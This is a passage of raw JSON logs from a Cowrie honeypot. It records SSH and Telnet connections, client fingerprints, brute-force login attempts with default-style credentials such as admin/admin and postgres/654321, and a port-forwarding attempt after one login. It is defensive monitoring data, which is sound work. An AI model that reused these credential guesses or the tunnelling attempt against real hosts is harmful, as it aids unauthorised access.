dsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:02.824418Z","src_ip":"181.39.158.30","session":"c9bb0ee9b8c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"1111","message":"login attempt [user2/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:03.314754Z","src_ip":"181.39.158.30","session":"c9bb0ee9b8c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.94","src_port":4786,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8deadbcb28e","protocol":"telnet","message":"New connection: 66.132.195.94:4786 (159.203.135.109:23) [session: c8deadbcb28e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:03.534767Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:04.433720Z","src_ip":"181.39.158.30","session":"c9bb0ee9b8c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.96","src_port":54320,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d7a7dbb848e","protocol":"telnet","message":"New connection: 66.132.195.96:54320 (159.203.135.109:23) [session: 7d7a7dbb848e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:04.774445Z"}
{"eventid":"cowrie.session.closed","duration":4.140121698379517,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:07.674762Z","src_ip":"66.132.195.94","session":"c8deadbcb28e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.94","src_port":5484,"dst_ip":"159.203.135.109","dst_port":23,"session":"26ef3a7482a4","protocol":"telnet","message":"New connection: 66.132.195.94:5484 (159.203.135.109:23) [session: 26ef3a7482a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:12.450720Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43484,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a1bd6847736","protocol":"telnet","message":"New connection: 174.138.46.234:43484 (159.203.135.109:23) [session: 4a1bd6847736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:18.010258Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43724,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccb05587a151","protocol":"telnet","message":"New connection: 174.138.46.234:43724 (159.203.135.109:23) [session: ccb05587a151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:18.863678Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43988,"dst_ip":"159.203.135.109","dst_port":23,"session":"f066a8ab87bd","protocol":"telnet","message":"New connection: 174.138.46.234:43988 (159.203.135.109:23) [session: f066a8ab87bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:19.818517Z"}
{"eventid":"cowrie.session.closed","duration":15.169984817504883,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:19.944333Z","src_ip":"66.132.195.96","session":"7d7a7dbb848e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43836,"dst_ip":"159.203.135.109","dst_port":23,"session":"04c5ba9f5d47","protocol":"telnet","message":"New connection: 174.138.46.234:43836 (159.203.135.109:23) [session: 04c5ba9f5d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:20.324831Z"}
{"eventid":"cowrie.session.closed","duration":10.829330205917358,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:23.279954Z","src_ip":"66.132.195.94","session":"26ef3a7482a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":41992,"dst_ip":"10.17.0.5","dst_port":23,"session":"433536123e21","protocol":"telnet","message":"New connection: 217.182.190.44:41992 (10.17.0.5:23) [session: 433536123e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:23.633695Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.96","src_port":4540,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ba46dfb532d","protocol":"telnet","message":"New connection: 66.132.195.96:4540 (159.203.135.109:23) [session: 6ba46dfb532d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:24.475021Z"}
{"eventid":"cowrie.session.closed","duration":4.886163711547852,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:25.210862Z","src_ip":"174.138.46.234","session":"04c5ba9f5d47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.992007493972778,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:26.002157Z","src_ip":"174.138.46.234","session":"4a1bd6847736","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0944929122924805,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:27.569408Z","src_ip":"66.132.195.96","session":"6ba46dfb532d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":54664,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee1004e1e37f","protocol":"ssh","message":"New connection: 14.248.83.33:54664 (159.203.135.109:22) [session: ee1004e1e37f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:30.780071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:30.785277Z","src_ip":"14.248.83.33","session":"ee1004e1e37f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:31.038497Z","src_ip":"14.248.83.33","session":"ee1004e1e37f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.96","src_port":4568,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e503fcaa3f3","protocol":"telnet","message":"New connection: 66.132.195.96:4568 (159.203.135.109:23) [session: 9e503fcaa3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:31.089033Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"654321","message":"login attempt [postgres/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:32.077658Z","src_ip":"14.248.83.33","session":"ee1004e1e37f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:33.333953Z","src_ip":"14.248.83.33","session":"ee1004e1e37f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.214935302734375,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:41.303828Z","src_ip":"66.132.195.96","session":"9e503fcaa3f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51356,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d552f3aa855","protocol":"telnet","message":"New connection: 174.138.46.234:51356 (159.203.135.109:23) [session: 9d552f3aa855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:45.552821Z"}
{"eventid":"cowrie.session.closed","duration":7.848280429840088,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:53.400998Z","src_ip":"174.138.46.234","session":"9d552f3aa855","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.336649894714355,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:55.970222Z","src_ip":"217.182.190.44","session":"433536123e21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55132,"dst_ip":"159.203.135.109","dst_port":23,"session":"848eb20e911f","protocol":"telnet","message":"New connection: 174.138.46.234:55132 (159.203.135.109:23) [session: 848eb20e911f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:58.352307Z"}
{"eventid":"cowrie.session.closed","duration":45.470866680145264,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:35:05.289258Z","src_ip":"174.138.46.234","session":"f066a8ab87bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.437339067459106,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:35:07.300900Z","src_ip":"174.138.46.234","session":"ccb05587a151","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.78991150856018,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:35:44.142130Z","src_ip":"174.138.46.234","session":"848eb20e911f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"184.105.139.68","src_port":42732,"dst_ip":"159.203.135.109","dst_port":22,"session":"098a0935ec43","protocol":"ssh","message":"New connection: 184.105.139.68:42732 (159.203.135.109:22) [session: 098a0935ec43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:35:48.200743Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:35:48.205246Z","src_ip":"184.105.139.68","session":"098a0935ec43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:35:48.212380Z","src_ip":"184.105.139.68","session":"098a0935ec43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.156.222","src_port":62060,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc7af4801176","protocol":"ssh","message":"New connection: 64.62.156.222:62060 (159.203.135.109:22) [session: fc7af4801176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:03.153381Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xce\\xfb\rBb\\x8fjM\\xe9Z\\x8c\\xb8q[\\xf9y/\u001d4\\xbb\\xcf\\xf4\u0003\\xd99M\\xf1\u000fE0\\x98\\\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xce\\xfb\rBb\\x8fjM\\xe9Z\\x8c\\xb8q[\\xf9y/\u001d4\\xbb\\xcf\\xf4\u0003\\xd99M\\xf1\u000fE0\\x98\\\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:03.158155Z","src_ip":"64.62.156.222","session":"fc7af4801176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:03.162067Z","src_ip":"64.62.156.222","session":"fc7af4801176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":27428,"dst_ip":"10.17.0.5","dst_port":22,"session":"17f978fe857c","protocol":"ssh","message":"New connection: 87.251.64.176:27428 (10.17.0.5:22) [session: 17f978fe857c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:04.300047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:04.305301Z","src_ip":"87.251.64.176","session":"17f978fe857c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:04.403074Z","src_ip":"87.251.64.176","session":"17f978fe857c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:04.693393Z","src_ip":"87.251.64.176","session":"17f978fe857c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:04.793754Z","session":"17f978fe857c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:04.895238Z","src_ip":"87.251.64.176","session":"17f978fe857c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:05.133815Z","src_ip":"87.251.64.176","session":"17f978fe857c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48202,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dbb7e7d5efb","protocol":"telnet","message":"New connection: 174.138.46.234:48202 (159.203.135.109:23) [session: 5dbb7e7d5efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:12.617989Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48334,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c3a4cc28ca5","protocol":"telnet","message":"New connection: 174.138.46.234:48334 (159.203.135.109:23) [session: 9c3a4cc28ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:13.065987Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48590,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ff3b3f3f21f","protocol":"telnet","message":"New connection: 174.138.46.234:48590 (159.203.135.109:23) [session: 2ff3b3f3f21f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:14.038957Z"}
{"eventid":"cowrie.session.closed","duration":5.919224262237549,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:18.537086Z","src_ip":"174.138.46.234","session":"5dbb7e7d5efb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.9872636795043945,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:19.053132Z","src_ip":"174.138.46.234","session":"9c3a4cc28ca5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.66","src_port":44412,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1502ba75622","protocol":"ssh","message":"New connection: 85.217.149.66:44412 (10.17.0.5:22) [session: f1502ba75622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:26.404480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:26.409294Z","src_ip":"85.217.149.66","session":"f1502ba75622","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc3aee897af7d3feb9fc37b89c7d15c9","hasshAlgorithms":"curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc3aee897af7d3feb9fc37b89c7d15c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:26.427111Z","src_ip":"85.217.149.66","session":"f1502ba75622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:36:26.449782Z","src_ip":"85.217.149.66","session":"f1502ba75622","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.9399778842926,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:37:03.978819Z","src_ip":"174.138.46.234","session":"2ff3b3f3f21f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":13296,"dst_ip":"159.203.135.109","dst_port":22,"session":"13aa897de0ce","protocol":"ssh","message":"New connection: 14.248.83.33:13296 (159.203.135.109:22) [session: 13aa897de0ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:37:27.809095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:37:27.813831Z","src_ip":"14.248.83.33","session":"13aa897de0ce","protocol":"ssh"}
